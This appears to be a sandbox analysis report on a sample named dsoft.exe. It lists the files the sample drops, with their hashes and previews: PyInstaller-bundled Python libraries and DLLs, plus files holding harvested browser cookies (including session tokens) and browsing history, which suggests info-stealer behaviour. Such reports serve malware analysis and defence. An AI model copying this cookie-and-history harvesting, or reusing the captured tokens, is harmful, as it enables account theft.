                                                                                                                                                                                                                                        MD5:C119811A40667DCA93DFE6FAA418F47A
                                                                                                                                                                                                                                        SHA1:113E792B7DCEC4366FC273E80B1FC404C309074C
                                                                                                                                                                                                                                        SHA-256:8F27CD8C5071CB740A2191B3C599E99595B121F461988166F07D9F841E7116B7
                                                                                                                                                                                                                                        SHA-512:107257DBD8CF2607E4A1C7BEF928A6F61EBDFC21BE1C4BDC3A649567E067E9BB7EA40C0AC8844D2CEDD08682447B963148B52F85ADB1837F243DF57AF94C04B3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].t.<r'.<r'.<r'.D.'.<r'.@s&.<r'.@w&.<r'.@v&.<r'.@q&.<r'i@s&.<r'.<s'.<r'.Ns&.<r'i@.&.<r'i@r&.<r'i@.'.<r'i@p&.<r'Rich.<r'........PE..d...&..c.........." ...".....2............................................................`..........................................@..L....@..x....p.......`.......H..x)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info\INSTALLER

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4
                                                                                                                                                                                                                                        Entropy (8bit):1.5
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Mn:M
                                                                                                                                                                                                                                        MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                        SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                        SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                        SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:pip.

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info\LICENSE

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1050
                                                                                                                                                                                                                                        Entropy (8bit):5.072538194763298
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24:1rmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:1aJ8YHvEH5QHOs5exm3oEFJ
                                                                                                                                                                                                                                        MD5:7A7126E068206290F3FE9F8D6C713EA6
                                                                                                                                                                                                                                        SHA1:8E6689D37F82D5617B7F7F7232C94024D41066D1
                                                                                                                                                                                                                                        SHA-256:DB3F0246B1F9278F15845B99FEC478B8B506EB76487993722F8C6E254285FAF8
                                                                                                                                                                                                                                        SHA-512:C9F0870BC5D5EFF8769D9919E6D8DDE1B773543634F7D03503A9E8F191BD4ACC00A97E0399E173785D1B65318BAC79F41D3974AE6855E5C432AC5DACF8D13E8A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Copyright Jason R. Coombs..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTW

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info\METADATA

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):6301
                                                                                                                                                                                                                                        Entropy (8bit):5.107162422517841
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:W4rkAIG0wRg8wbNDdq6T9927uoU/GBpHFwTZ:Sq0wRg8wbNDdBh927uoU/GBRFi
                                                                                                                                                                                                                                        MD5:9E59BD13BB75B38EB7962BF64AC30D6F
                                                                                                                                                                                                                                        SHA1:70F6A68B42695D1BFA55ACB63D8D3351352B2AAC
                                                                                                                                                                                                                                        SHA-256:80C7A3B78EA0DFF1F57855EE795E7D33842A0827AA1EF4EE17EC97172A80C892
                                                                                                                                                                                                                                        SHA-512:67AC61739692ECC249EBDC8F5E1089F68874DCD65365DB1C389FDD0CECE381591A30B99A2774B8CAAA00E104F3E35FF3745AFF6F5F0781289368398008537AE7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Metadata-Version: 2.1.Name: setuptools.Version: 65.5.0.Summary: Easily download, build, install, upgrade, and uninstall Python packages.Home-page: https://github.com/pypa/setuptools.Author: Python Packaging Authority.Author-email: distutils-sig@python.org.Project-URL: Documentation, https://setuptools.pypa.io/.Project-URL: Changelog, https://setuptools.pypa.io/en/stable/history.html.Keywords: CPAN PyPI distutils eggs package management.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: Topic :: System :: Systems Administration.Classifier: Topic :: Utilities.Requires-Python: >=3.7.License-File: LICENSE.Provides-Extra: certs.Provides-Extra: docs.Requi

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info\RECORD

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:CSV text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):37694
                                                                                                                                                                                                                                        Entropy (8bit):5.560695955910088
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:DDz9AkShgQUgq/kc2mIkpIVh498WjXYW1P5+Eu8X62aDoaQPKJfRQIbwA+hof2yf:Dn3OIyQgIAY8T/7T962lSsSGxt9Im
                                                                                                                                                                                                                                        MD5:E30355B5F7466BEE1691929B05EED672
                                                                                                                                                                                                                                        SHA1:B9F1275EF04F2D36DD1F801DE116AC12AA68722E
                                                                                                                                                                                                                                        SHA-256:CEBD9639E6923A470E818350691053C3CC846A72426A9BFCB70F092868FA0D5B
                                                                                                                                                                                                                                        SHA-512:C7A56FE3037A07035279FF063406F7999360D5B275D743C0EF88335EB98BE4CA539775CC1470BF121CE166AA53E3E55002BE7402350E62811EA2B4D0BBD6A617
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:_distutils_hack/__init__.py,sha256=TSekhUW1fdE3rjU3b88ybSBkJxCEpIeWBob4cEuU3ko,6128.._distutils_hack/__pycache__/__init__.cpython-310.pyc,,.._distutils_hack/__pycache__/override.cpython-310.pyc,,.._distutils_hack/override.py,sha256=Eu_s-NF6VIZ4Cqd0tbbA5wtWky2IZPNd8et6GLt1mzo,44..distutils-precedence.pth,sha256=JjjOniUA5XKl4N5_rtZmHrVp0baW_LoHsN0iPaX10iQ,151..pkg_resources/__init__.py,sha256=fT5Y3P1tcSX8sJomClUU10WHeFmvqyNZM4UZHzdpAvg,108568..pkg_resources/__pycache__/__init__.cpython-310.pyc,,..pkg_resources/_vendor/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..pkg_resources/_vendor/__pycache__/__init__.cpython-310.pyc,,..pkg_resources/_vendor/__pycache__/appdirs.cpython-310.pyc,,..pkg_resources/_vendor/__pycache__/zipp.cpython-310.pyc,,..pkg_resources/_vendor/appdirs.py,sha256=MievUEuv3l_mQISH5SF0shDk_BNhHHzYiAPrT3ITN4I,24701..pkg_resources/_vendor/importlib_resources/__init__.py,sha256=evPm12kLgYqTm-pbzm60bOuumumT8IpBNWFp0uMyrzE,506..pkg_resources/_vendor/importli

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info\WHEEL

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):92
                                                                                                                                                                                                                                        Entropy (8bit):4.820827594031884
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:RtEeX7MWcSlViZHKRRP+tPCCfA5S:RtBMwlViojWBBf
                                                                                                                                                                                                                                        MD5:4D57030133E279CEB6A8236264823DFD
                                                                                                                                                                                                                                        SHA1:0FDC3988857C560E55D6C36DCC56EE21A51C196D
                                                                                                                                                                                                                                        SHA-256:1B5E87E00DC87A84269CEAD8578B9E6462928E18A95F1F3373C9EEF451A5BCC0
                                                                                                                                                                                                                                        SHA-512:CD98F2A416AC1B13BA82AF073D0819C0EA7C095079143CAB83037D48E9A5450D410DC5CF6B6CFF3F719544EDF1C5F0C7E32E87B746F1C04FE56FAFD614B39826
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Wheel-Version: 1.0.Generator: bdist_wheel (0.37.1).Root-Is-Purelib: true.Tag: py3-none-any..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info\entry_points.txt

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):2740
                                                                                                                                                                                                                                        Entropy (8bit):4.540737240939103
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:48:lELcZDy3g6ySDsm90rZh2Phv4hhpTqTog:yLAP8arZoP94hTTqcg
                                                                                                                                                                                                                                        MD5:D3262B65DB35BFFAAC248075345A266C
                                                                                                                                                                                                                                        SHA1:93AD6FE5A696252B9DEF334D182432CDA2237D1D
                                                                                                                                                                                                                                        SHA-256:DEC880BB89189B5C9B1491C9EE8A2AA57E53016EF41A2B69F5D71D1C2FBB0453
                                                                                                                                                                                                                                        SHA-512:1726750B22A645F5537C20ADDF23E3D3BAD851CD4BDBA0F9666F9F6B0DC848F9919D7AF8AD8847BD4F18D0F8585DDE51AFBAE6A4CAD75008C3210D17241E0291
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:[distutils.commands].alias = setuptools.command.alias:alias.bdist_egg = setuptools.command.bdist_egg:bdist_egg.bdist_rpm = setuptools.command.bdist_rpm:bdist_rpm.build = setuptools.command.build:build.build_clib = setuptools.command.build_clib:build_clib.build_ext = setuptools.command.build_ext:build_ext.build_py = setuptools.command.build_py:build_py.develop = setuptools.command.develop:develop.dist_info = setuptools.command.dist_info:dist_info.easy_install = setuptools.command.easy_install:easy_install.editable_wheel = setuptools.command.editable_wheel:editable_wheel.egg_info = setuptools.command.egg_info:egg_info.install = setuptools.command.install:install.install_egg_info = setuptools.command.install_egg_info:install_egg_info.install_lib = setuptools.command.install_lib:install_lib.install_scripts = setuptools.command.install_scripts:install_scripts.rotate = setuptools.command.rotate:rotate.saveopts = setuptools.command.saveopts:saveopts.sdist = setuptools.command.sdist:sdist.seto

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info\top_level.txt

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):41
                                                                                                                                                                                                                                        Entropy (8bit):3.9115956018096876
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:3Wd+Nt8AfQYv:3Wd+Nttv
                                                                                                                                                                                                                                        MD5:789A691C859DEA4BB010D18728BAD148
                                                                                                                                                                                                                                        SHA1:AEF2CBCCC6A9A8F43E4E150E7FCF1D7B03F0E249
                                                                                                                                                                                                                                        SHA-256:77DC8BDFDBFF5BBAA62830D21FAB13E1B1348FF2ECD4CDCFD7AD4E1A076C9B88
                                                                                                                                                                                                                                        SHA-512:BC2F7CAAD486EB056CB9F68E6C040D448788C3210FF028397CD9AF1277D0051746CAE58EB172F9E73EA731A65B2076C6091C10BCB54D911A7B09767AA6279EF6
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:_distutils_hack.pkg_resources.setuptools.

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\sqlite3.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1473912
                                                                                                                                                                                                                                        Entropy (8bit):6.572390758739341
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:7nFjRWofXcFcdEKl+89yJ30SQUhXF7TuR7MNdRIxsg8xqh:77X6K080J30nUhXF7TuR7rxV8Y
                                                                                                                                                                                                                                        MD5:AAF9FD98BC2161AD7DFF996450173A3B
                                                                                                                                                                                                                                        SHA1:AB634C09B60AA18EA165084A042D917B65D1FE85
                                                                                                                                                                                                                                        SHA-256:F1E8B6C4D61AC6A320FA2566DA9391FBFD65A5AC34AC2E2013BC37C8B7B41592
                                                                                                                                                                                                                                        SHA-512:597FFE3C2F0966AB94FBB7ECAC27160C691F4A07332311F6A9BAF8DEC8B16FB16EC64DF734C3BDBABF2C0328699E234D14F1B8BD5AC951782D35EA0C78899E5F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......CG;..&U..&U..&U..^..&U.HZT..&U.HZP..&U.HZQ..&U.HZV..&U..TT..&U..&T..&U..Z]..&U..ZU..&U..Z...&U..ZW..&U.Rich.&U.................PE..d...X..c.........." ...".f..........lj..............................................Nw....`.............................................d"..$3.......................T..x).......... ...T...............................@...............(............................text...8e.......f.................. ..`.rdata...............j..............@..@.data....G...P...>...,..............@....pdata...............j..............@..@.rsrc................<..............@..@.reloc...............F..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\unicodedata.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1122176
                                                                                                                                                                                                                                        Entropy (8bit):5.381221577408984
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:6DYYMmuZ63NIQCb5Pfhnzr0ql8L8kXM7IRG5eeme6VZyrIBHdQLhfFE+uAM:gYYuLZV0m8vMMREtV6Vo4uYAM
                                                                                                                                                                                                                                        MD5:4C8AF8A30813E9380F5F54309325D6B8
                                                                                                                                                                                                                                        SHA1:169A80D8923FB28F89BC26EBF89FFE37F8545C88
                                                                                                                                                                                                                                        SHA-256:4B6E3BA734C15EC789B5D7469A5097BD082BDFD8E55E636DED0D097CF6511E05
                                                                                                                                                                                                                                        SHA-512:EA127779901B10953A2BF9233E20A4FAB2FBA6F97D7BAF40C1B314B7CD03549E0F4D2FB9BAD0FBC23736E21EB391A418D79A51D64402245C1CD8899E4D765C5A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t..t..t..}...r..;...v..;...y..;...|..;...w.....w......v..t..%.....u.....u...y.u.....u..Richt..........PE..d...(..c.........." ...".B..........@*.......................................@......4.....`.............................................X............ ..........<........)...0...... b..T............................`..@............`..x............................text...gA.......B.................. ..`.rdata.......`.......F..............@..@.data...............................@....pdata..<...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\win32\_win32sysloader.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14848
                                                                                                                                                                                                                                        Entropy (8bit):5.112106937352672
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:lGCm72PEO1jIUs0YqEcPbF55UgCWV4rofnbPmitE255qDLWn7ycLmrO/:8ardA0Bzx14r6nbN50W9/
                                                                                                                                                                                                                                        MD5:F9C9445BE13026F8DB777E2BBC26651D
                                                                                                                                                                                                                                        SHA1:E1D58C30E94B00B32AD1E9B806465643F4AFE980
                                                                                                                                                                                                                                        SHA-256:C953DB1F67BBD92114531FF44EE4D76492FDD3CF608DA57D5C04E4FE4FDD1B96
                                                                                                                                                                                                                                        SHA-512:587D9E8521C246865E16695E372A1675CFBC324E6258DD03479892D3238F634138EBB56985ED34E0C8C964C1AB75313182A4E687B598BB09C07FC143B506E9A8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......tSf.02..02..02..9J..22..bG..22..$Y..22..bG..;2..bG..82..bG..32..[..32..02...2...G..12...G..12...G..12..Rich02..................PE..d......d.........." ......................................................................`..........................................;..`...`;..d....p..t....`..................@...|2..T............................2..8............0..p............................text............................... ..`.rdata..$....0......................@..@.data........P......................@....pdata.......`.......0..............@..@.rsrc...t....p.......4..............@..@.reloc..@............8..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\win32\win32api.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):133632
                                                                                                                                                                                                                                        Entropy (8bit):5.849731189887005
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:l2J5loMoEg9enX4oD8cdf0nlRVFhLaNKP/IyymuqCyqJhe:cblovEgqXHdfqlRVlP/IyzCyy
                                                                                                                                                                                                                                        MD5:00E5DA545C6A4979A6577F8F091E85E1
                                                                                                                                                                                                                                        SHA1:A31A2C85E272234584DACF36F405D102D9C43C05
                                                                                                                                                                                                                                        SHA-256:AC483D60A565CC9CBF91A6F37EA516B2162A45D255888D50FBBB7E5FF12086EE
                                                                                                                                                                                                                                        SHA-512:9E4F834F56007F84E8B4EC1C16FB916E68C3BAADAB1A3F6B82FAF5360C57697DC69BE86F3C2EA6E30F95E7C32413BABBE5D29422D559C99E6CF4242357A85F31
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.uV....................N.......N.......N.......................N...................J...........................Rich............PE..d......d.........." .........................................................P............`..........................................................0..\....................@..$....v..T............................<..8............0..........@....................text............................... ..`.rdata......0......................@..@.data...x(......."..................@....pdata..............................@..@.rsrc...\....0......................@..@.reloc..$....@......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\win32\win32trace.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):23552
                                                                                                                                                                                                                                        Entropy (8bit):5.279236779449316
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:peeH8ZmV+zknwMsADuVLw0T8DmrRl2j9BfEAZnpC9QJQ1BA:5+zi/uVDS9dl6pB
                                                                                                                                                                                                                                        MD5:B291ADAB2446DA62F93369A0DD662076
                                                                                                                                                                                                                                        SHA1:A6B6C1054C1F511C64AEFB5F6C031AFE553E70F0
                                                                                                                                                                                                                                        SHA-256:C5AD56E205530780326BD1081E94B212C65082B58E0F69788E3DC60EFFBD6410
                                                                                                                                                                                                                                        SHA-512:847CC9E82B9939DBDC58BFA3E5A9899D614642E0B07CF1508AA866CD69E4AD8C905DBF810A045D225E6C364E1D9F2A45006F0EB0895BCD5AAF9D81EE344D4AEA
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*U@qD.@qD.@qD.I...DqD...E.BqD...A.JqD...@.HqD...G.CqD...E.BqD...E.BqD.T.E.EqD.@qE..qD...M.AqD...D.AqD...F.AqD.Rich@qD.................PE..d......d.........." .....,...,.......(....................................................`..........................................Q..T...dQ..........d....p.......................G..T...........................0H..8............@...............................text....*.......,.................. ..`.rdata.......@.......0..............@..@.data...(....`.......L..............@....pdata.......p.......R..............@..@.rsrc...d............V..............@..@.reloc...............Z..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\win32com\shell\shell.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):527872
                                                                                                                                                                                                                                        Entropy (8bit):6.165923585421349
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:bXtpsewPjUA2jGZ90SmgopJgUCBKw84O3Rpd0K1VS0cTZdxi2y3:bXtp5sIAN90pleK1VSXXi2g
                                                                                                                                                                                                                                        MD5:C2E1B245D4221BDA4C198CF18D9CA6AF
                                                                                                                                                                                                                                        SHA1:9682B6E966495F7B58255348563A86C63FBD488C
                                                                                                                                                                                                                                        SHA-256:89A8651DAD701DCE6B42B0E20C18B07DF6D08A341123659E05381EE796D23858
                                                                                                                                                                                                                                        SHA-512:C2F57E9303D37547671E40086DDAD4B1FC31C52D43994CFCEC974B259125E125C644873073F216F28066BB0C213CBEB1B9A3C149727C9F1BC50F198AC45A4C8A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......M................).....[......[......[......[...................................................O.................Rich............................PE..d...(..d.........." ....."..........t.....................................................`.............................................L...............L.......xx...............!......T..............................8............@...............................text...^!.......".................. ..`.rdata.......@.......&..............@..@.data...@....0...^..................@....pdata..xx.......z...n..............@..@.rsrc...L...........................@..@.reloc...!......."..................@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\crcookies.txt

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with very long lines (515), with CRLF line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):3158
                                                                                                                                                                                                                                        Entropy (8bit):5.8972122901567925
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:/JMpO2gpcRqpZX22HTSjv3pB7H7e8zLs/Zw49ckse:BkXRQSfIh
                                                                                                                                                                                                                                        MD5:8C6FF34551E5D45A9E60A03D31487053
                                                                                                                                                                                                                                        SHA1:23C65812BDDBE33010D34CA421BD4D187DF95F74
                                                                                                                                                                                                                                        SHA-256:5D23122C1B86CC45E5EADDED5DED8AFE6751BFC2A9AD645CE59D08AEABED5BD4
                                                                                                                                                                                                                                        SHA-512:B568472F1AA723F2CE29A5C5BBA33A62599237B5D5DC8ACB19D2749B9E9D662A07BA0E8DDB8408EABB4A012E498C947EF16990218E8A1F6BE2777E66FC11C0F9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.google.com.TRUE./.FALSE.2597573456.NID.511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk..support.microsoft.com.TRUE./.FALSE.2597573456..AspNetCore.AuthProvider.True..support.microsoft.com.TRUE./.FALSE.2597573456..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.N..support.microsoft.com.TRUE./.FALSE.2597573456..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkHB6alahUr8qJ7G_3AejtooymTWCzyO89hshJeX8Gh78kohbIw0IQY4v6LZriT4P2fGeBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VSMOfm-L0RnS8.N..support.office.com.TRUE./.FALSE.2597573456.EXPID.8e067c40-5461-4aef-885f-2c92ce6a5474...microsoft.com.TRUE./.FALSE.2597573456.MC1.GUID=749eee6039c5489b9db3000c7ab3f399&HASH=749e&LV=202310&V=4&LU=1696413236917...microsoft.com

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\crhistory.txt

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):809
                                                                                                                                                                                                                                        Entropy (8bit):5.165968547442475
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24:2rTHwoh9wIwpjRmZDKJCwpjRSpDKJCrTV8woPpSwpjRVpbCwpjOSbpbb:SDTwIYVcDKJCYVuDKJCrSPpSYVVpbCYb
                                                                                                                                                                                                                                        MD5:6A260B07BAB16CDD661E99BA9E0518F6
                                                                                                                                                                                                                                        SHA1:13AB556855EADC64A8FC060B09C192AE2EFA2C23
                                                                                                                                                                                                                                        SHA-256:8014E4C7A0E9C2751F23C198AAFC5350334E087F4F56489BCEBD63EF540AB0CF
                                                                                                                                                                                                                                        SHA-512:FC5D394BC100D7EB1EF657BFB82F6A67A8A21EB42C2B6B50D4733AFB96DD35C46DE98A7B5055F5D1420EDE794A8190A3A63BDF3D023CBF935E8C68A68BD508EF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:https://go.microsoft.com/fwlink/?linkid=851546..https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016..https://support.microsoft.com/en-us/office/7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us..https://support.microsoft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us..https://go.microsoft.com/fwlink/?LinkId=2106243..https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17..https://support.microsoft.com/en-us/office/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?ui=en-us&rs=en-us&ad=us..https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?ui=en-us&rs=en-us&ad=us..

